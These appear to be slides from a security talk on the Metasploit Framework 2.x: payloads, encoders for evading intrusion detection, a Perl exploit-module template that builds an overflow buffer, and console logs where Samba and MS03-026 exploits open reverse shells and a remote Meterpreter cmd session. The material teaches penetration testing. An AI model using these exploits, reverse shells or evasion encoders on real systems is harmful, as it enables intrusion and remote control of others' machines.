Metasploit Deux

~~intropy~~

What we did last timeCovered some basics

msfconsolemsfcli

Environment variablesLocale context variables (set)Global context variables (setg)Saving variables

Showed some exploitsMS-04-011Samba_trans2open

Launched a few failed demosVNC demoReverse Connect demo

What has changed sinceNew version 2.4

New msfweb interface with improved handlingUpdated exploits for more reliable exploitation33 New exploits (Including 2.3)

Aim_goawayiis_w3who_overflow solaris_dtspcd_noir wins_ms04_045

SunRPC and XDR Perl APIGeneral Payload improvementsPassiveX payload

Loads arbitrary ActiveX through Internet ExplorerLoads the stage 2 payload over HTTPInteract with cmd.exe, VNC, Meterpreter over HTTP

What we will cover

The framework in generalDirectory structureEncodersGeneratorsPayloadsModulesImpurityMeterpreter

General Frameworkery

Getting your feet wet

What is the Framework?

The Metasploit project decided to create a development framework for exploits. An environment for interested parties to quickly and easily develop code.

On the surface it contains a handful of exploits that you can launch against a box and potentially own it. But under the hood it has a massive amount of flexability and technology that allows you to effectively build a real working exploit for your own purposes.

What the Framework isnt

The Framework is not an attack tool developed for joe hacker to compromise NASA, but as a general interface for testing and writing exploits.

If you think this will make you a l33t h4ck3r please pull your head out of your ass.

Coporate equivalentsCurrently there are 2 competing companies developing “Penetration testing tools/suites”

Immunity Security (Dave Aitel)CANVAS

Written in PythonTinkering and expanding is encouragedSmart system call proxyingCosts around $1,300

CORE Security TechnologiesIMPACT

Comprehensive automated penetrationSeveral exploitsDetailed reportingFully automated penetration testingCosts around $10,000 (IIRC)

Installing the FrameworkOn UNIX

To install the Framework on your UNIX machine simply download the latest release to a working directory. Extract the tarball and change into the created directory (framework-2.3/). Since it is written in PERL you should be able to simply execute the UI of your choice. It is recommended to also install the supporting PERL modules from $MSFDIR/extras. These allow command completion and SSL support.

To install to a system wide location copy the entire tree to a directory (/usr/local/msf) and create symlinks from the msf* applications to a system wide binary path like /usr/local/bin. User created modules can be place in their home directory but need to reside under the ~/.msf directory.

On Windows

A downloadable installer utilizing Cygwin is provided on the Metasploit site. This installer is a stipped down version of Cygwin and includes everything you need to act like its UNIX counterpart

The Framework directory structure

./data

The data directory countains supporting data for some of the Framework function.

meterpreter/ - Supporting files for the meterpreter

msfweb/ - Supporting files for the msfweb user interface

shelldemo - A shelldemo for meterpreter

vncdll.dll - The VNC dll for use with the VNC

payload

./docsThe docs directory contains several documents about the Framework. The Environment reference and Quickstart guides are particularly useful.

Environment.txt - Environment variable reference text

meterpreter.pdf - Meterpreter user guideQUICKSTART.impurity - Impurity quickstart guideQUICKSTART.msfcli - Metasploit command line

interface quickstart guideQUICKSTART.msfconsole - Metasploit console interface

quick start guideQUICKSTART.msfweb - Metasploit web interface

quickstart guideRELEASE_2.3.txt - Framework 2.3 release notesSECURITY - Using the Framework securelyuserguide.pdf - Framework user guide

./exploitsThis directory contains the actual modules that constitute an exploit the Framework can use. A couple of the entries are listed below

3com_3cdaemon_ftp_overflow.pmafp_loginext.pmaim_goaway.pmapache_chunked_win32.pmarkeia_agent_access.pmarkeia_type77_macos.pmarkeia_type77_win32.pmwins_ms04_045.pm

./extras

The extras directory contains two PERL modules which enable SSL and command completion/history respectively. If you use the msfconsole installing these is highly recommended.

Net_SSLeay.pm-1.23.tar.gz - PERL SSL module which enables the SSL option in an exploit module

Term-ReadLine-Gnu-1.14.tar.gz- PERL ReadLine module which enables command completion of all the options in the msfconsole. Installing this is almost a must.

./libThe lib directory contains several PERL modules that aide in creation of exploits. Several of these are required in all Framework exploits while others are helper modules for exploitation like DCERPC.pm

Digest/ - Contains the MD5.pm module for computing the digest

Msf/ - Base Framework modules for working with the various aspects of the environment

NetPacket/ - Network helpers like TCP/UDP/ICMPNetPacket.pm - NetPacket base classPex/ - Contains lots of neat modules for use

in the exploit modules like MSSQL/DCERPC/SMB classes

Pex.pm - Pex base class

./encodersAll encoders available in your exploits can be found here.

Alpha2.pm - An alphanumeric encoderCountdown.pm - XOR countdown encoderJmpCallAdditive.pm - Additive XOR encoderNone.pm - No encoderOSXPPCLongXOR.pm - Long XOR PPC encoderOSXPPCLongXORTag.pm - XOR Tag PPC encoderPexAlphaNum.pm - Another alphanumeric

encoderPexFnstenvMov.pm - Fnstenv Mov encoderPexFnstenvSub.pm - FnstenvSub encoderPex.pm - XOR encoderQuackQuack.pm - PPC Dword encoderShikataGaNai.pm - Key based encoderSparc.pm - Sparc XOR encoder

./nops

A NOP is a “No Operation” in the x86 architecture. This directory contains several PERL modules designed for generating NOPs on several platforms and architectures

Alpha.pm - Generates alpha nopsMIPS.pm - Generates nops on MIPSOpty.pm - Variable instruction

length nop generatorPex.pm - The Pex libraries nopsPPC.pm - Nops for the PPC architectureSPARC.pm - Sparc nops

./payloadsThis directory contains the actual PERL modules that generate and handle payload creation in your exploit and the framework. A few are listed below.

bsd_ia32_bind_ie.pmbsd_ia32_bind.pmbsd_ia32_bind_stg.pmbsd_ia32_exec.pmcmd_interact.pmcmd_irix_bind.pmcmd_sol_bind.pmcmd_unix_reverse_bash.pmwin32_bind_vncinject.pmwin32_reverse_meterpreter.pm

./sdkThe sdk directory was created to help in understanding the method of exploit development in the Framework. The docs directory contains a few example exploits and reference texts.

docs/exploitReference.txt - A reference on the available functions and

declarationsexploitTutorial.txt - A tutorial outlining and detailing exploit

creationsvnserve_date.pm - A commented real world Framework exploitvuln1_1.pm - An example that goes with the tutorialvuln1_2.pm - An example that goes with the tutorialvuln1_3.pm - An example that goes with the tutorialvuln1.c - An example vulnerable program written in cvuln1_osx.pm - An example that goes with the tutorial

for osxformatGen.pl - Format string overwrite generatorpatternOffset.pl - Finds a pattern in memory and dumps

offset/addrspitCode.pl - Utility to extract things from code

./src

The src directory contains all the source code for the meterpreter, VNC, and other shellcodes used in the Framework. If you are looking for some reference on the asm in the shellcode this is a good place to look. Also if you are looking for a good reference on dll injecting the VNC source is here as a guide.

meterpreter/ - Source for the meterpreter binaries

shellcode/ - Source to all the shellcode used in the Framework including the VNC dll’s

./toolsThe tools directory includes some helper applications for exploit research and development.

memdump.c - Source code for memdump

memdump.exe - Dumps the memory of a running process

README.memdump - README for memdump

README.socketNinja - README for socketNinja

socketNinja.pl - socketNinja creates a listener and handler for all incoming socket connections. This can be used if you are exploiting multiple hosts to manage your shells

NOP Generators

The chips and salsa

What they are

NOPs are “No Operations”. Effectively this means an instruction that doesn’t do anything. NOPs are usually created for timing. However in an exploit these can be leveraged to help the target computer get to our payload.

What they do

As stated before they don’t do anything. However in exploit development they allow the attacker to guess at the return address of the crashing program. This provides more reliability when exploiting programs

What is the point

The point is to get our target to execute our code. To make it execute our code we use a no operation so we do not have to be exact in our code. By allowing us some flexibility in our exploit we can target several platforms regardless of minor stack changes

[0xbfffed80][\x90\x90\x90\x90\x90][payload]

What the Framework provides

As we saw in the ./nops directory the Framework provides countless number of NOPs for use in an exploit. Each architecture has a different method of achieving a no operation and often times (as in x86) there are 50+ different NOPs. Since many IDS systems watch for the typical 0x90 instruction using different combinations make pattern matching detection harder for anyone watching.

Payloads

If this was dinner payloads are the steak

What they are

A payload is our meat. The code or command we want a target to execute on our behalf. Payloads use to be referred to as shellcode which is a little misleading as it is not always a shell you are executing

What they do

Payloads do whatever we want. This can be a program that connects to our host giving us a shell. This can also be a command like ‘useradd intropy’. When we exploit a program the payload will be the new task running once we control execution

What is the point

The fucking point is to run your own code instead of the intended code. No one wants a foreign intruder to have the capability of doing this and that is the point. Our payload (aka code) runs when the program has been exploited and control is in our hands.

What does the Framework provide

Probably one of the greatest benefits of the Framework is the number of payloads available. The list is comprehensive and reliable. We have all the control we want from a simple port bind on Linux. To your own program being uploaded through a secure socket and run. This gives the exploiter many options. For instance if you are exploiting a host behind a firewall that allows outbound traffic the reverse connect back shell would call out to you for control…how’s that for service.

Encoders

Putting your food in a to-go box

What they are

An encoder scrambles our NOPs and payloads. There are several methods well documented on different encoding but effectively this hides our exploit from prying eyes

What they do

Most encoders use an algorithm to change parts of the payload. This algorithm often times includes a decoder so that when the payload reaches its target the machine can understand what it really needs to do after it runs the decoder

What is the point

Modern IDS system will watch traffic on a network. When it spots traffic with a known attack signature it will alert its owner. With an encoder we can hinder this by scrambling the data with an encoder effectively making this look like normal traffic or garbage.

How do you stop them

Most people try and stop the encoder by keying off the method used. For instance a well known type of encoding was developed by K2 of ADM in his program ADMmutate. This effectively changed the payload of the exploit each time it was ran. Instead of looking for a static string to match on, the morphed NOP sled and payloads are checked against the encoding method/algorithm.

What the Framework provides

Several encoders are included with the Framework. Just like payloads they are mostly available to all exploits. Encoders which can convert payload to plain ASCII and XOR based off a key are fairly useful.

Creating a Module

Adding your own exploit

What is a module?

A module for all intents and purposes is an exploit. The framework uses the PERL module system to define and access needed information. Your exploit will in fact be a working PERL module. We define methods and variables, or call external functions in a easy, well documented way.

What is required?

A few things are needed by every new module/exploit. One of the most important is the package declaration.

package Msf::Exploit::my_new_sploit;

This tells the UI to load the module and all methods upon execution. Be aware that your exploit name, package, and file need to all match exactly or the Framework will not find it.

Next we define some base classes and helper modules

use base ‘Msf::Exploit’;use Msf::Socket::Tcp;use Pex::Text;

Cont…Lets move on to some required variables.

my $advanced = { };

The advanced hash allows us to define advanced features we may want to use in our modules. Some of the options include

StackTop - Top address of a brute forceStackBottom - Bottom address of a brute forceIgnoreErrors - Ignore module errors

By declaring advanced features we can allow the person using this module to make changes as they see fit. Someone might want to ignore errors and this allows them to in the UI.

Cont…

Moving right along, we have the info hash. This variable is required for defining information characteristics of your module. Below is an example.

my $info = { ‘Name’ => ‘Name of your Exploit’, ‘Version’ => ‘Module version info’, ‘Authors’ => [ ‘intropy intropy <at>

caughq.org’,], ‘Arch’ => [ ‘x86’ ], ‘OS’ => [ ‘linux’, ], ‘Priv’ => 1,

Cont…

‘UserOpts’ => { ‘RHOST’ => [1, ‘ADDR’, ‘the target’, ‘127.0.0.1’], ‘RPORT’ => [1, ‘PORT’, ‘the target port’, 214], }, ‘Payload’ => { ‘Space’ => 2000, ‘BadChars’=> “”,

‘MinNops’ => 16, } ‘Description’ => Pex::Text::Freeform(qq{

This is a description of our exploit/module. }), ‘Refs’ => [ ‘http://caughq.org’ ], ‘Targets’ => [ ‘Linux’, 0xbfffffff ],}

Here we define some options for the user to control like target addr and port. We also set up our payload, give a description to the module, some references and a target to go after.

Cont…I will put these two methods, new and Exploit, below for reference as we will cover them in the demo.

sub new { my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);

return($self);}

sub Exploit { my $self = shift;

my $targetHost = $self->GetVar('RHOST'); my $targetPort = $self->GetVar('RPORT');

my $targetIndex = $self->GetVar('TARGET'); my $target = $self->Targets->[$targetIndex]; my $ret = $target->[1];

my $encodedPayload = $self->GetVar('EncodedPayload'); my $shellcode = $encodedPayload->Payload;

Cont…my $sock = Msf::Socket::Tcp->new( 'PeerAddr' => $targetHost, 'PeerPort' => $targetPort, );

if($sock->IsError) { $self->PrintLine('Error creating socket: ' . $sock->GetError); return; }

my $evil = 'A' x $self->GetLocal('PreRetLength'); $evil .= pack('V', $ret) x int($self->GetLocal('RetLength') / 4); $evil .= $shellcode;

$sock->Send($evil);

return;}

BruteforceThe Framework provides a very clear way to allow your modules to bruteforce return values. In the advanced options we define a few variables we looked at previously.

my $advanced = {# Where to start brute forcing 'StackTop' => ['', 'Start address for stack ret bruteforcing, empty for defaults from target'],

# Where to stop brute forcing 'StackBottom' => ['', 'End address for stack ret bruteforcing, empty for defaults from target'],

# The increment used during brute forcing, auto calculation is important!'StackStep' => [0, 'Step size for ret bruteforcing, 0 for auto calculation.'],

# How long to wait in between brute force attempts, good to give things a# chance to clean up, and also give the handlers a chance to process a# possible connection.'BruteWait' => [.4, 'Length in seconds to wait between brute force attempts'],

# An exploit vector value, probably not going to be changed'RetLength' => [100, 'Length of rets after payload'],

# Allow the user to continue on fail'IgnoreErrors' => [0, 'Keep going even after critical errors.'],

};

Brutforce cont…

By providing a good interface to bruteforcing, it gives us a good way to make unreliable exploits more reliable.

As you can gather from the added advanced options we can then loop in our module code starting at the StackTop and going until we hit StackBottom stepping accordingly.

Installing for useBecause of the way modules are loaded we must move our new exploit/module into the $MSFDIR/exploits/ directory. That’s it. Now when you run the msfconsole you will see your exploit in the list.

[root@redhat9 framework-2.3]# ls -la exploits/dc214_snomad.pm-rw-r--r-- 1 root root 3354 Apr 26 04:03 exploits/dc214_snomad.pm[root@redhat9 framework-2.3]#[root@redhat9 framework-2.3]# ./msfcli dc214_snomad S Name: dc214 exploit of the snomad server Version: $Revision: 1.1 $Target OS: linuxKeywords: dc214Privileged: Yes

<cut>

Description:This exploits the demo server used in snomads presentation onexploit development given in Feb.

References:http://www.caughq.orghttp://www.nmrc.org

Launching in msfconsoleJust like the other exploits there are required parameters we defined in the creation of the module. First we will select the module, then fill out requirements, and of course launch the exploit.

msf > use dc214_snomadmsf dc214_snomad > set RHOST 127.0.0.1RHOST -> 127.0.0.1msf dc214_snomad > set TARGET 0TARGET -> 0msf dc214_snomad > set PAYLOAD linux_ia32_bindPAYLOAD -> linux_ia32_bindmsf dc214_snomad(linux_ia32_bind) > show options

Exploit and Payload Options===========================

Exploit: Name Default Description -------- ------ --------- ------------------ required RHOST 127.0.0.1 The target address required RPORT 214 The target port

Payload: Name Default Description -------- ------ ------- ----------------------------- required LPORT 4444 Listening port for bind shell

Target: Red Hat 8

msf dc214_snomad(linux_ia32_bind) > exploit[*] Starting Bind Handler.

*D-D-D-Demo*

Creating and launching our custom exploit

Impurity

Sounds good to me

What is Impurity?

Impurity is an injection technique developed by Alexander Cuttergo. The technique is a method of inserting code into the memory of a running process.

What is the theory

By statically linking and mapping a process into the exploited applications memory area we can effectively write a program in c without all the fuss of turning it into shellcode. Now this is achieved in two steps (called stages). The first part is exploiting a process with the linux_ia32_reverse_impurity payload. This contains the necissary assembly code to handle the loading of our program. Once the target process has been exploited and the first stage payload ran it connects back and injects the second stage (aka our impurity compiled program). This may seem like a lot of work but the Framework makes it very simple and straight forward.

What is the potential

Well imagine being able to write any code you want in C and using it as a payload. Now imagine you can download something you like off the net and have it run as a payload. If that sounds fancy then you have realized some of the potential of using Impurity payloads.

Impurity Caveats

During my brief use of Impurity and payloads I found a couple caveats. The biggest was malloc() failing. Any call to allocate memory exited from my program. There could be several reasons why but changing everything to static buffers fixed it. Be aware of things like this when debugging your Impurity binary. Also remember to keep things as simple as possible since you will potentially be executing your code In a hostile memory block.

How is it used in the Framework

The Framework tries to make it as simple as possible to compile and use a program with Impurity.

First we would need to write a program, for this example I made a hello world type application. Be aware however that we will be compiling this with diet-libc and thus do not have all the functionality of glibc.

To compile this we copy the source to the Impurity directory and edit the make file. Once we complete that typing ‘make’ compiles the source and links it with the Impurity library.

Cont…Heres those steps…

[root@redhat8 /]# cd /root/metasploit/framework-2.3/src/shellcode/linux/impurity

[root@redhat8 impurity]# cat hello_dc214.cmain(){ printf("\n\nHello dc214\n\n");}[root@redhat8 impurity]# grep dc214 Makefileall: shelldemo tracepath CAU-term CAU-sniffer hello_dc214hello_dc214: hello_dc214.c diet gcc -Wl,-T,script-ld-impurity -o hello_dc214 hello_dc214.c -s -static /sbin/chpax -m hello_dc214 >/dev/null 2>&1 || true[root@redhat8 impurity]# makediet gcc -Wl,-T,script-ld-impurity -o hello_dc214 hello_dc214.c -s -static/sbin/chpax -m hello_dc214 >/dev/null 2>&1 || true[root@redhat8 impurity]#

Using it in an exploitOk so now we have a binary ready for world domin^]^]in an exploit. This starts the same as using a regular payload except youll notice the PEXEC option. Yes that is where we put our newly compiled program including the full path. Once that’s changed its all easy sailing.

msf samba_trans2open(linux_ia32_reverse_impurity) > set PEXEC /root/metasploit/framework-2.3/src/shellcode/linux/impurity/hello_dc214

PEXEC -> /root/metasploit/framework-2.3/src/shellcode/linux/impurity/hello_dc214msf samba_trans2open(linux_ia32_reverse_impurity) > exploit[*] Starting Reverse Handler.[*] Starting bruteforce mode for target Linux x86[*] Trying return address 0xbffff1fc...[*] Got connection from 192.168.11.3:4321 <-> 192.168.11.3:32781[*] Sleeping before sending impurity data.[*] Uploading impurity data (6832), Please wait...[*] Executing impurity data.

Hello dc214

[*] Exiting Reverse Handler.

msf samba_trans2open(linux_ia32_reverse_impurity) >

* D-D-D-Demo *

The Impurities of CAU

Meterpreter

Goodness incarnate

What is the meterpreter

The Meterpreter is short for The Meta-Interpreter. It is an extendable platform for creating a post attack way to implement complex features you wouldn’t want to do in assembly. Think a hackers ‘cmd.exe’. However it is not just limited to the built in command functions. You can create your own modules to use on the target system. Also the meterpreter operates inside the target process. Meaning upon examination a system will not see it run. Unlike executing cmd.exe inside shellcode.

Cont…

The Meterpreter works in a client <-> server configuration. Where the server mearly acts as a communication and loading mechanism for your dastardly deads. A protocol is designed to handle this communication and can be referenced in the user guide. The extensions can either be for client or server usage and support any language that can create a shared object (DLL) and support the cdecl calling convention*

Why do I want this

Why wouldn’t you want this? The Meterpreter allows you great flexability post exploitation. You can use the included extensions to do various tasks or write your own DLL to use on the target system. With that said the Meterpreter also uses a technique for remotely injecting the libraries into memory hiding your activity.

What is the potential

Endless. The Meterpreter packaged with the Framework has a wealth of extensions included. For instance, one of the extensions, Fs, allows for uploading and downloading files to and from the remote machine.

However delving into the custom extensions (DLL) lies endless possibilities.

How is this used in the Framework

Simply. The Framework provides a payload the loads the Meterpreter into the target process creating the server portion. Once that is complete it creates a client instance for your control. The mentioned client/server implementation seems transparent when used inside the Framework but needs to be considered when doing complex tasks.

What does it come withA number of extensions are included with the Framework that provide other potentially useful commands. The source code of these extensions is included as an example and can easily be modified for other uses. The following extensions are currently included:

FsProvides interaction with the filesystem on the remote machine.

NetProvides interaction with the network stack on the remote

machine.

ProcessProvides interaction with processes on the remote machine.

SysProvides interaction with the environment on the remote

machine.

Using it in an exploitAs with everything else using this is as simple as making it the payload. The needed options for setting up the payload should be automatically set (Except the LHOST). After exploitation you can use the built in help command the Meterpreter provides to further your investigation.

msf msrpc_dcom_ms03_026 > set PAYLOAD win32_reverse_meterpretermsf msrpc_dcom_ms03_026(win32_reverse_meterpreter) > show options required METDLL /root/metasploit/framework-2.3/data/meterpreter/metsrv.dll

The full path the meterpreter server dllmsf msrpc_dcom_ms03_026(win32_reverse_meterpreter) > exploit[*] Starting Reverse Handler.[*] Connected to REMACT with group ID 0x1db38[*] Got connection from 192.168.11.3:4321 <-> 192.168.11.2:1032[*] Sending Stage (2834 bytes)[*] Sleeping before sending dll.[*] Uploading dll to memory (69643), Please wait...[*] Upload completedmeterpreter>[ -= connected to =- ][ -= meterpreter server =- ][ -= v. 00000500 =- ]meterpreter> help

Cont…meterpreter> use -m Processloadlib: Loading library from 'ext225759.dll' on the remote machine.loadlib: success.meterpreter> help

Process Process manipulation and execution commands ------------ ---------------- execute Executes a process on the remote endpoint kill Terminate one or more processes on the remote endpoint ps List processes on the remote endpoint

meterpreter> execute -f cmd -cexecute: Executing 'cmd'...execute: success, process id is 536.execute: allocated channel 2 for new process.meterpreter> interact 2interact: Switching to interactive console on 2...interact: Started interactive channel 2.

Microsoft Windows 2000 [Version 5.00.2195](C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>

* D-D-D-Demo *

Multi host proxy attacks

Metasploit 3.0

Greater focus. Not just about exploits and payloads.Embedded for use in other applicationsStaged payloads becoming the norm“Pivoting” though hosts like commercial toolsDesigned for threadsStrong support for automation

Test suitesAbility to test defensive infrastructures

Metasploit 3.0 Cont…

The word is the next gen of the Framework will be written in Ruby.

Clean and simple language that is easy to learnStrong object modelDecent library supportBuilds natively on Win322.x will stay Perl and continue in parallel

* VNC Injection Demo *

Because odds are this time it works

Conclusion

The Framework is not just a script kiddie attack tool. A lot has gone into giving a developer/researcher the opportunity to create exploits easily and powerfully. However, the advanced features really give the Framework teeth and solidify it as a viable strong penetration testing tool.

Referenceshttp://www.immunitysec.com/downloads/Immunity_CANVAS.pdfhttp://www1.corest.com/products/coreimpact/index.phphttp://www.metasploit.com/projects/Framework/docs/ChangeLoghttp://www1.corest.com/products/coreimpact/index.phphttp://www.sans.org/resources/idfaq/polymorphic_shell.phphttp://www.metasploit.com/projects/Framework/

documentation.html#exploitTutorialhttp://archives.neohapsis.com/archives/vuln-dev/2003-q4/0006.htmlhttp://www.metasploit.com/projects/Framework/docs/meterpreter.pdfhttp://www.metasploit.com/confs/core05/

core05_metasploit.pdf

Questions?

easy…